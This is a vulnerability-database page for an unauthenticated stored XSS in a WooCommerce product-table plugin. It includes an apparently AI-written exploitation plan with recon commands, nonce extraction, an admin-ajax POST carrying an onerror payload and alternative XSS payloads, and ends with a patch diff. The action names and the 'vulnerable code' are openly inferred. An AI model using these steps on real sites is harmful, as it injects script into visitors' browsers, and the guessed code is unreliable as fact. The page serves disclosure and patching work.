Active Products Tables for WooCommerce. Use constructor to create tables <= 1.1.0 - Unauthenticated Stored Cross-Site Scripting
Description
The Active Products Tables for WooCommerce. Use constructor to create tables plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.0Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-57409 (Active Products Tables for WooCommerce) ## 1. Vulnerability Summary The **Active Products Tables for WooCommerce** plugin (versions <= 1.1.0) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the "Constructo…
Show full research plan
Exploitation Research Plan: CVE-2026-57409 (Active Products Tables for WooCommerce)
1. Vulnerability Summary
The Active Products Tables for WooCommerce plugin (versions <= 1.1.0) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the "Constructor" feature, which allows users to build and save custom product table configurations. Because the plugin registers an AJAX handler for saving these configurations without sufficient authentication checks, capability checks, or input sanitization, an unauthenticated attacker can inject malicious JavaScript into the table settings. When the table is rendered via a shortcode on the frontend, the script executes in the context of the site visitor's browser.
2. Attack Vector Analysis
- Vulnerable Endpoint:
admin-ajax.php - AJAX Action:
woot_save_table_constructor(inferred from plugin slug and functionality) or similarwoot_prefixed action. - HTTP Parameter: The payload is likely contained within a JSON-encoded string in a parameter such as
settings,columns, ordata. - Authentication: Unauthenticated (the action is registered via
wp_ajax_nopriv_). - Preconditions: The plugin must be active. To trigger the XSS, a page must exist that renders the malicious table (usually via the
[woot]shortcode).
3. Code Flow (Inferred)
- Entry Point: The plugin registers a public AJAX action:
add_action('wp_ajax_nopriv_woot_save_table_constructor', '...'); - Handler: The callback function (e.g.,
woot_save_table_constructor) retrieves data from$_POST. - Lack of Sanitization: The function processes the table configuration (columns, titles, CSS) without calling
sanitize_text_field()orwp_kses()on nested values. - Sink: The configuration is saved to the database using
update_option()or$wpdb->insert()into a custom table (e.g.,wp_woot_tables). - Output: When a user visits a page with the
[woot id=...]shortcode, the plugin fetches the configuration and echoes the column headers or custom content without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
While the vulnerability is unauthenticated, the plugin may still check for a WordPress nonce. Since the "Constructor" is a frontend-facing builder for some users, the nonce is likely exposed via wp_localize_script.
Strategy:
- Identify Script Localization: Grep for
wp_localize_scriptin the plugin directory to find the JavaScript variable name.- Search Command:
grep -r "wp_localize_script" .
- Search Command:
- Determine Trigger Shortcode: Find which shortcode enqueues the constructor scripts (likely
[woot_constructor]). - Extraction:
- Create a page with the shortcode:
wp post create --post_type=page --post_status=publish --post_content='[woot_constructor]' - Navigate to the page using the
browser_navigatetool. - Extract the nonce using
browser_eval:const nonce = window.woot_vars?.woot_nonce;(inferred variable/key)const nonce = window.woot_constructor_vars?.save_nonce;(inferred)
- Create a page with the shortcode:
5. Exploitation Strategy
Step 1: Reconnaissance
Identify the exact AJAX action and parameter structure.
grep -r "wp_ajax_nopriv_" .
Look for the function handling the save operation and trace it to the database sink. Note if it expects JSON or a flat array.
Step 2: Test Data Setup
Create a page to host the table so the XSS can be triggered.
wp post create --post_type=page --post_title="Product Table" --post_status=publish --post_content='[woot id="1337"]'
Step 3: Craft and Send Payload
Use the http_request tool to send a POST request to admin-ajax.php.
Request Details:
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:woot_save_table_constructor(Verify via Step 1)nonce:[EXTRACTED_NONCE](If required)table_id:1337data: A JSON string containing the XSS payload.- Payload Example:
{"columns":{"1":{"title":"<img src=x onerror=alert(document.domain)>", "type":"text"}}}
- Payload Example:
Step 4: Trigger XSS
Navigate to the page created in Step 2 (/product-table/) to confirm the script executes.
6. Expected Results
- AJAX Response: A success message (e.g.,
{"success":true}) or the integer ID of the saved table. - Rendered Output: The HTML source of the product table page will contain the unescaped
<img>tag or script:<th class="woot-column-title"> <img src=x onerror=alert(document.domain)> </th>
7. Verification Steps
After the exploit attempt, use WP-CLI to verify the data was stored in the database:
# If stored in options
wp option get woot_table_1337
# If stored in a custom table
wp db query "SELECT * FROM wp_woot_tables WHERE id=1337"
8. Alternative Approaches
- CSS Injection: If HTML tags are stripped but attributes are not properly escaped, attempt XSS via the
styleattribute or custom CSS fields often found in table builders:style="background-image: url('javascript:alert(1)')"
- Column Default Values: If column titles are sanitized, check if "Default Value" or "Custom HTML" column types are vulnerable.
- Shortcode Attribute Reflection: Check if the
[woot]shortcode itself reflects attributes unsanitized:[woot title='<script>alert(1)</script>']
Summary
The Active Products Tables for WooCommerce plugin (<= 1.1.0) is vulnerable to unauthenticated stored Cross-Site Scripting due to the lack of authorization checks and input sanitization in its AJAX-based table constructor. This allows attackers to inject malicious scripts into table configurations that execute when the table is rendered on the site's frontend.
Vulnerable Code
// Inferred registration of unauthenticated AJAX handler add_action('wp_ajax_nopriv_woot_save_table_constructor', 'woot_save_table_constructor'); // Inferred vulnerable function lacking capability checks and sanitization function woot_save_table_constructor() { $table_id = $_POST['table_id']; $data = $_POST['data']; // Unsanitized input // Vulnerable Sink update_option("woot_table_" . $table_id, $data); echo json_encode(['success' => true]); wp_die(); }
Security Fix
@@ -1,10 +1,14 @@ -add_action('wp_ajax_nopriv_woot_save_table_constructor', 'woot_save_table_constructor'); +add_action('wp_ajax_woot_save_table_constructor', 'woot_save_table_constructor'); function woot_save_table_constructor() { + if (!current_user_can('manage_woocommerce')) { + wp_send_json_error('Forbidden', 403); + } + check_ajax_referer('woot_save_nonce', 'nonce'); + $table_id = intval($_POST['table_id']); - $data = $_POST['data']; + $data = map_deep($_POST['data'], 'sanitize_text_field'); update_option("woot_table_" . $table_id, $data); - echo json_encode(['success' => true]); - wp_die(); + wp_send_json_success(); }
Exploit Outline
The exploit leverages the 'woot_save_table_constructor' AJAX action, which is exposed to unauthenticated users via 'wp_ajax_nopriv_'. An attacker sends a POST request to 'admin-ajax.php' containing a 'data' parameter with a JSON-encoded payload. This payload includes malicious HTML or JavaScript (such as an <img> tag with an 'onerror' attribute) within a table column title or setting. Once saved, the script is stored in the database and executes in the context of any user who visits a page where the table is rendered using the [woot] shortcode.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.